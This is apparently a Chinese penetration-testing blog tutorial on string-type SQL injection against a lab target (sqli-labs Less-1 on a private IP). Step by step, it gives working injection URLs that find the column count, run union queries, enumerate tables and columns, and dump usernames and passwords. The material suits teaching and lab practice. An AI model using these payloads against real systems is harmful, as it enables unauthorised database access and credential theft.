4000-618-418

渗透测试干货-sql注入字符型

2022年10月20日

一、判断注入点类型

1、单引号测试

image 

通过报错猜测是字符型注入;

2、进行验证:

http://192.168.110.187/sqlinto/Less-1/?id=1' and 1=1 --+闭合语句发现页面正常显示

image 

http://192.168.110.187/sqlinto/Less-1/?id=1' and 1=2 --+

image 

经检验确认为字符型注入 ,数据库查询语句为:

select user,passwd from users where id='$id';

二、确定字段数

http://192.168.110.187/sqlinto/Less-1/?id=1' order by 3 --+

通过排序确定该表的字段数为3

image 

三、使用联合查询,确定显示位置

http://192.168.110.187/sqlinto/Less-1/?id=1' union select 1,2,3 --+

image 

由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:

http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1,2,3 --+

image 

确定显示为是2,3字段

四、查询库名以及敏感信息

http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1,version(),database() --+

字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名

image 

得到MySQL版本:5.7.36        当前数据库security

五、查询表名

http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

image 

security数据库中有个表:emails,referers,uagents,users

 

六、查询列名

http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

image 

查询发现对我们有用的字段:username,password

七、查询用户名和密码

http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1,2,group_concat(username,+','+,password,+"<br>") from users --+

image 


上一篇:渗透测试之redis未授权访问的攻击方式

下一篇:KALI-Burpsuite使用说明